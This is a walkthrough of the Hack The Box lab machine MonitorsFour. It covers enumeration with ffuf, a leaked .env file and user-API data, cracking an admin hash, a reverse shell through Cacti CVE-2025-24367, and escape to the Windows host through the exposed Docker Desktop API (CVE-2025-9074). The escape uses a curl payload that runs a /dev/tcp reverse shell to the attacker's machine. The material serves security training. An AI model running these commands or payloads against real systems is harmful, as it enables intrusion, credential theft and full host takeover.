MonitorsFour is an easy-rated Windows machine on Hack The Box that initially exposes only two ports: 80 (HTTP) and 5985 (WSMAN). The assessment begins with a vulnerable subdomain that leaks credentials, which are then leveraged alongside a known CVE to gain remote code execution and obtain the user flag. Privilege escalation involves exploiting the internal Docker API using another vulnerability, ultimately granting access to the root flag.
We start thing off with an nmap scan.
sudo nmap -sVC --min-rate 1000 -Pn 10.10.11.98 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-06 14:28 GMT
Nmap scan report for 10.10.11.98
Host is up (0.15s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.39 seconds
The scan reveals 2 open ports - 80 (http) and 5985 (wsman). The website hosted on port 80 redirects requests to the VHOST: monitorsfour.htb. For moving forward, it is imperitive we add the VHOST to our /etc/hosts file for name resolution.
echo "10.10.11.98 monitorsfour.htb" | sudo tee -a /etc/hosts
Opening http://monitorsfour.htb in a browser, we come across an outdated PHP website.
The next step would be to explore the website while we setup ffuf to FUZZ through the endpoints and subdomains.
We begin by fuzzing the endpoint on the current VHOST.
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://monitorsfour.htb/FUZZ -t 128 -e .php,.html
We come across an accessable .env file which reveals these DB credentials.
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
Other than that, this vhost scan reveals nothing spectacular, other than a login page which may or may not come in handy later.
Interestingly, trying to login reveals an api. Next, we fuzz the API endpoints.
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://monitorsfour.htb/api/v1/FUZZ -t 128
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb/api/v1/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 128
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 202ms]
.htpasswd [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 201ms]
auth [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 257ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 334ms]
reset [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 243ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 700ms]
users [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 648ms]
:: Progress: [20481/20481] :: Job [1/1] :: 191 req/sec :: Duration: [0:01:19] :: Errors: 0 ::
We try these endoints and intriguingly, http://monitorsfour.htb/api/v1/users and http://monitorsfour.htb/api/v1/user both ask for a token parameter. Using random numbers, we try to access the endpoint using http://monitorsfour.htb/api/v1/users?token=0.
Viola! It reaveals all the users' details.
The most interesting user here would be the admin. We take note of these details to be used later.
{"id":2,"username":"admin","email":"[email protected]","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"}
Putting the password hash in https://crackstation.net, we instantaneously get the password - wonderful1.
Next, we FUZZ through the subdomains that the machine might be running.
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.98 -H 'Host: FUZZ.monitorsfour.htb' -t 128 -fs 138
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.98
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 128
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 138
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 241ms]
:: Progress: [20481/20481] :: Job [1/1] :: 802 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Apparently, the machine uses cacti.
Next, we add the subdomain to our /etc/hosts.
sudo nano /etc/hosts
Make sure the entry looks like
10.10.11.98 monitorsfour.htb cacti.monitorsfour.htb
Visiting the new subdomain, we come across a cacti login page at http://cacti.monitorsfour.htb/cacti/ that reveals the server to be using Cacti Version 1.2.28.
Cacti is an open-source network monitoring and graphing tool built primarily in PHP. It uses RRDTool to store time-series data and generate graphs, and provides a web-based PHP interface for device management, polling, templates, and graph viewing.
We try to login using the credentials we found earlier. The login succeeds using the admin's first name for username.
Searching the web for known exploits, we come across CVE-2025-24367 which allows for creation of files in the root directory of the website and leads to Remote Code Execution(RCE).
Interestingly, the PoC exploit for the same can be found on the machine creator's GitHub page.
The exploit requires,
We already have all the necessary details.
Next, we move on to exploit the machine to obtain a reverse shell using the aforementioned exploit.
First, we set up the netcat listener.
rlwrap nc -lvnp 4444
Next,
python3 exploit.py -u marcus -p 'wonderful1' -i 10.10.16.x -l 4444 -url http://cacti.monitorsfour.htb
This successfully grants us a reverse shell on the container as www-data.
The user flag can be obtained from Marcus's home directory.,
cat /home/marcus/user.txt
On the container, we begin with exploring basic files and getting an idea about our environment.
www-data@821fbd6a43fa:~/html/cacti$ cat /etc/resolv.conf
cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.
nameserver 127.0.0.11
options ndots:0
# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal
www-data@821fbd6a43fa:~/html/cacti$ ls -a /
ls -a /
.
..
.dockerenv
bin
[Snip]
start.sh
Clearly, it is a docker container but,
www-data@821fbd6a43fa:~/html/cacti$ uname -a
uname -a
Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux
reveals that it uses a WSL2 kernel.
This implies that machine uses Docker Desktop with WSL2 to create and host containers.
Searching the web, we come across CVE-2025-9074.
A critical CVE-2025-9074 vulnerability in Docker Desktop enables locally running Linux containers to connect to the Docker Engine API through the default subnet (192.168.65.7:2375).
According to Docker’s release announcement, the flaw allows malicious containers in Docker Desktop to directly interact with the Docker Engine and even spin up new containers, without the need for the Docker socket to be mounted.
If exploited, attackers could execute privileged API commands such as controlling containers, creating new ones, and managing images.
Well, isn't this convenient for us.
To ensure this works we test the Docker API at the default address.
Note: The same IP Address can also be found on reading /etc/resolv.conf.
www-data@821fbd6a43fa:~/html/cacti$ curl http://192.168.65.7:2375/version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"28.3.2","Details":{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-07-09T16:13:55.000000000+00:00","Experimental":"false","GitCommit":"e77ff99","GoVersion":"go1.24.5","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.27","Details":{"GitCommit":"05044ec0a9a75232cad458027ca83437aae3f4da"}},{"Name":"runc","Version":"1.2.5","Details":{"GitCommit":"v1.2.5-0-g59923ef"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"28.3.2","ApiVersion":"1.51","MinAPIVersion":"1.24","GitCommit":"e77ff99","GoVersion":"go1.24.5","Os":"linux","Arch":"amd64","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","BuildTime":"2025-07-09T16:13:55.000000000+00:00"}
This confirms our attack vector.
To view the containers,
www-data@821fbd6a43fa:~/html/cacti$ curl http://192.168.65.7:2375/containers/json
Finally, we exploit this API.
On our attack machine, we start a netcat listener.
sudo nc -lvnp 443
And on the foothold container as www-data,
cd /tmp
curl -X POST \
-H "Content-Type: application/json" \
-d '{
"Image":"docker_setup-nginx-php:latest",
"Cmd":["bash","-c","bash -i >& /dev/tcp/10.10.16.x/443 0>&1"],
"HostConfig":{
"Binds":["/mnt/host/c:/host_root"]
}
}' \
-o create.json \
http://192.168.65.7:2375/containers/create
cid=$(cut -d'"' -f4 create.json)
curl -X POST \
-d '' \
http://192.168.65.7:2375/containers/$cid/start
This gives us a root shell on the newly created container with the host (Windows) mounted at /host_dir
Finally, we can read the root flag situated at /host_root/Users/Administrator/Desktop/root.txt!
This concludes the MonitorsFour Machine!